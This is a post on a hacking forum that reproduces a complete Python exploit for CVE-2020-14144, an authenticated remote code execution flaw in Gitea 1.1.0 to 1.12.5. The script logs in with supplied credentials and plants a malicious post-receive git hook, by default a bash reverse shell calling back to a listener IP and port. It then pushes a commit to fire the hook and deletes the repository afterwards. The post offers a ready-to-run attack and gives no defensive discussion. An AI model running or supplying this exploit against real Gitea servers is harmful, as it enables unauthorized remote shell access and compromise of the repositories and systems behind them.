Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Gitea 1.12.5 - Remote Code Execution (Authenticated)

 Share


HACK1949

Recommended Posts

# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)
# Date: 17 Feb 2020
# Exploit Author: Podalirius
# PoC demonstration article: https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
# Vendor Homepage: https://gitea.io/
# Software Link: https://dl.gitea.io/
# Version: >= 1.1.0 to <= 1.12.5
# Tested on: Ubuntu 16.04 with GiTea 1.6.1

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import os
import pexpect
import random
import re
import sys
import time

import requests
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
    requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
    pass

class GiTea(object):
    def __init__(self, host, verbose=False):
        super(GiTea, self).__init__()
        self.verbose  = verbose
        self.host     = host
        self.username = None
        self.password = None
        self.uid      = None
        self.session  = None

    def _get_csrf(self, url):
        pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"'
        csrf = []
        while len(csrf) == 0:
            r = self.session.get(url)
            csrf = re.findall(pattern, r.text)
            time.sleep(1)
        csrf = csrf[0]
        return csrf

    def _get_uid(self, url):
        pattern = 'name="_uid" content="([0-9]+)"'
        uid = re.findall(pattern, self.session.get(url).text)
        while len(uid) == 0:
            time.sleep(1)
            uid = re.findall(pattern, self.session.get(url).text)
        uid = uid[0]
        return int(uid)

    def login(self, username, password):
        if self.verbose == True:
            print("   [>] login('%s', ...)" % username)
        self.session  = requests.Session()
        r = self.session.get('%s/user/login' % self.host)
        self.username = username
        self.password = password

        # Logging in
        csrf = self._get_csrf(self.host)
        r = self.session.post(
            '%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),
            data = {'_csrf':csrf, 'user_name':username, 'password':password},
            allow_redirects=True
        )
        if b'Username or password is incorrect.' in r.content:
            return False
        else:
            # Getting User id
            self.uid = self._get_uid(self.host)
            return True

    def repo_create(self, repository_name):
        if self.verbose == True:
            print("   [>] Creating repository : %s" % repository_name)
        csrf = self._get_csrf(self.host)
        # Create repo
        r = self.session.post(
            '%s/repo/create' % self.host,
            data = {
                '_csrf' : csrf,
                'uid' : self.uid,
                'repo_name' : repository_name,
                'description' : "Lorem Ipsum",
                'gitignores' : '',
                'license' : '',
                'readme' : 'Default',
                'auto_init' : 'off'
            }
        )
        return None

    def repo_delete(self, repository_name):
        if self.verbose == True:
            print("   [>] Deleting repository : %s" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))
        # Delete repository
        r = self.session.post(
            '%s/%s/%s/settings' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'action' : "delete",
                'repo_name' : repository_name
            }
        )
        return

    def repo_set_githook_pre_receive(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_pre_receive('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))
        # Set pre receive git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def repo_set_githook_update(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_update('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))
        # Set update git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def repo_set_githook_post_receive(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_post_receive('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))
        # Set post receive git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def logout(self):
        if self.verbose == True:
            print("   [>] logout()")
        # Logging out
        r = self.session.get('%s/user/logout' % self.host)
        return None


def trigger_exploit(host, username, password, repository_name, verbose=False):
    # Create a temporary directory
    tmpdir = os.popen('mktemp -d').read().strip()
    os.chdir(tmpdir)
    # We create some files in the repository
    os.system('touch README.md')
    rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)])
    os.system('echo "%s" >> README.md' % rndstring)
    os.system('git init')
    os.system('git add README.md')
    os.system('git commit -m "Initial commit"')
    # Connect to remote source repository
    os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name))
    # Push the files (it will trigger post-receive git hook)
    conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % tmpdir)
    conn.expect("Username for .*: ")
    conn.sendline(username)
    conn.expect("Password for .*: ")
    conn.sendline(password)
    conn.expect("Total.*")
    print(conn.before.decode('utf-8').strip())
    return None

def header():
    print("""    _____ _ _______
   / ____(_)__   __|             CVE-2020-14144
  | |  __ _   | | ___  __ _
  | | |_ | |  | |/ _ \/ _` |     Authenticated Remote Code Execution
  | |__| | |  | |  __/ (_| |
   \_____|_|  |_|\___|\__,_|     GiTea versions >= 1.1.0 to <= 1.12.5
     """)

if __name__ == '__main__':
    header()
    parser = argparse.ArgumentParser(description='Process some integers.')
    parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.')

    parser.add_argument('-t','--target',  required=True,  type=str, help='Target host (http://..., https://... or domain name)')
    parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username')
    parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password')

    parser.add_argument('-I','--rev-ip',   required=False, type=str, default=None, help='Reverse shell listener IP')
    parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port')

    parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.')

    args = parser.parse_args()

    if (args.rev_ip == None or args.rev_port == None):
        if args.payload_file == None:
            print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed')
            sys.exit(-1)

    # Read specific payload file
    if args.payload_file != None:
        f = open(args.payload_file, 'r')
        hook_payload = ''.join(f.readlines())
        f.close()
    else:
        hook_payload = """#!/bin/bash\nbash -i >& /dev/tcp/%s/%d 0>&1 &\n""" % (args.rev_ip, args.rev_port)

    if args.target.startswith('http://'):
        pass
    elif args.target.startswith('https://'):
        pass
    else:
        args.target = 'https://' + args.target

    print('[+] Starting exploit ...')
    g = GiTea(args.target, verbose=args.verbose)
    if g.login(args.username, args.password):
        reponame = 'vuln'
        g.repo_delete(reponame)
        g.repo_create(reponame)
        g.repo_set_githook_post_receive(reponame, hook_payload)
        g.logout()
        trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose)
        g.repo_delete(reponame)
    else:
        print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.')
    print('[+] Exploit completed !')
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...